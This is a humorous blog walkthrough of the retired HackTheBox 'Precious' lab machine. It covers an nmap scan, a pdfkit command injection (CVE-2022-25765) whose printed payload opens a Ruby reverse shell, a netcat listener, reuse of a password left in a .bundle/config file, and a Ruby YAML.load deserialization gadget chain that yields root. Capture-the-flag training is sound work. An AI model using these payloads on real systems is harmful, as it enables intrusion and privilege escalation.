HackTheBox: Precious Walkthrough

Hello precious.

I wrote this walkthrough to prove to my coworkers that I did something useful with my life while they were away flying drones and didn’t just play the same got damn Civ5 map for the 3853906743th time.


Fire up your bastardized Kali machine (when was the last time you ran an apt-get update, by the way?), and let’s do this.


Precious, as the name suggests, is a happy little box on HTB. You two will get along.
Time required: 15 minutes if you know what you’re doing, 1 hour if you are going to fumble your way through all this like I did.
You will also need a HTB VIP subscription for this is a retired box, and an attackbox that has nmap and metasploit installed. I am using Kali myself.


Kick things off with the traditional first step, trying to remember the openvpn syntax running an nmap scan. I broke the flags down in a previous post, but let me save you a click:

– Pn: Treat all hosts as online — skip host discovery (recommended by HTB)
– A: aggressive. Presently this enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (–traceroute).

It comes back with the usual nonsense about open ssh and http ports, nothing overwhelming.

kali@kali:~/Downloads/Precious$ nmap -Pn -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 18:33 EDT
Nmap scan report for
Host is up (0.099s latency).
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.06 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 19:54 EDT

Note the message, ” Did not follow redirect to http://precious.htb/ “, so let’s go ahead and update your /etc/hosts file, which looks like a dumpster fire by now anyways, then run that scan again. Much better.

kali@kali:~/Downloads/Precious$ sudo -i 
kali@kali:~/Downloads/Precious$ echo ' precious.htb' | tee --append /etc/hosts precious.htb
kali@kali:~/Downloads/Precious$ nmap -Pn -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 18:35 EDT


80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Moving on.

Visit http://precious.htb and poke around for a bit like you know what you’re doing. I actually recommend firing up Burp Suite, capturing one of the POST requests, sending it to repeater, and then just modifying the url parameter until you get a response that is NOT “You should provide a valid URL!

To be honest, literally any garbage that you feed it will work, as long as it starts with http://, such as the example below, but ultimately you want it to generate a pdf response. It’ll be useless, it will be blank, but that’s ok, we are not here for its beauty.

#sample request to send using Burp: 
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1


Oh-la-la. Look what my little eyes spy in the response:


Full transparency, by this point I already exhausted the nginx 1.18.0 exploits and yes, there is one, and it’s a rabbithole, so don’t worry about it. However, if you search for pdfkit v0.8.6 exploit poc, you will find some handy-dandy writeups on Snyk and ExploitDB's site. Let’s go ahead and grab the sample script from the latter.

The exploit script works out of the box, you just need to run it with your ip and port to generate the payload. Naturally, start a listener (nc -lvnp 4444) before pasting the payload into the website’s search box (the script kindly reminds you as well, how nice).

kali@kali:~/Downloads/Precious$ python3 51293.py -s 4444

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("","4444"))'`
WARNING: Be sure to start a local listener on the above IP and port.
EXPLOIT: Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.

kali@kali:~/Downloads/Precious$ nc -lvnp 4444
listening on [any] 4444 ...    

It should work, if it doesn’t you made a typo, because it doesn’t get any simpler than that.

kali@kali:~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 40990

How exciting. Unfortunately after some fruitless poking around we realize that 1. the user.txt is in henry‘s home directory and 2. ruby can’t really do anything. So let’s mitigate that.


Little detour: I began to poke around using linpeas.sh initially, with little-to-no-success. This was the time my friends came back from flying drones, so the escalation described here is their handiwork. Which worked out pretty well for me, because – contrary to them – I have zero experience in Ruby.

Even though it won’t help us today, for the sake of posterity, here is how to copy linpeas.sh onto a remote host.

If you don’t already have a copy of linpeas.sh, you can download it here. The page also has a couple sample scripts as to how to move linpeas from your machine to the host, here I will use the python webserver method, but you can do whatever your little heart likes.

#in one terminal window: 
kali@kali:~$ python3 -m http.server 4445
Serving HTTP on port 4445 ( ...

#in your shell on the remote machine: 
--2023-05-02 22:37:42--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 765867 (748K) [text/x-sh]
Saving to: ‘linpeas.sh’


#THEN, once you have the file, run it using:
bash linpeas.sh

Anyhow … for the remainder of this exploit, I will let my friend bseb take over from here.

Bseb: Once you establish a reverse shell to ruby (the user), check out the directories in /ruby/home. The particular file of interest here is .bundle/config, which, lo and behold, contains henry’s password. Using that, we can become henry, and cat’ out the user.txt file.

cat .bundle/config
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<password is here>"
su - henry
cat /home/henry/user.txt

Boo-ya! Halfway there.

Now we just need to escalate to root and we are done here.

sudo -l

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

cat /opt/update_dependencies.rb

def list_from_file



If you ever worked with Ruby before, you might recall (note from Anna: *blank stare*) that YAML.load is a vulnerable method that doesn’t sanitize the input that is embedded into the referenced yaml file, whereas yaml.safe_load does. A quick search for exploit yaml.load in ruby brings us to this POC with a working example.

All that is left is copying their example and changing the git_set line (second from bottom) as follows:

 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: cat /root/root.txt
          method_id: :resolve 

You can save this script in henry’s home directory, make sure to call it dependencies.yml, then run your little code execution exploit. The result will be rather unsightly, meaning it will throw up all over the terminal … and also dump the root/root.txt file’s content in the process.

sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
<root.txt string here>
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
        from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
        from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
        from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
        from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
        from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
        from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
        from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
        from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
        from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
        from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
        from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        from /opt/update_dependencies.rb:10:in `list_from_file'
        from /opt/update_dependencies.rb:17:in `<main>'

And that’s how you root Precious on HackTheBox.

À bientôt,


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.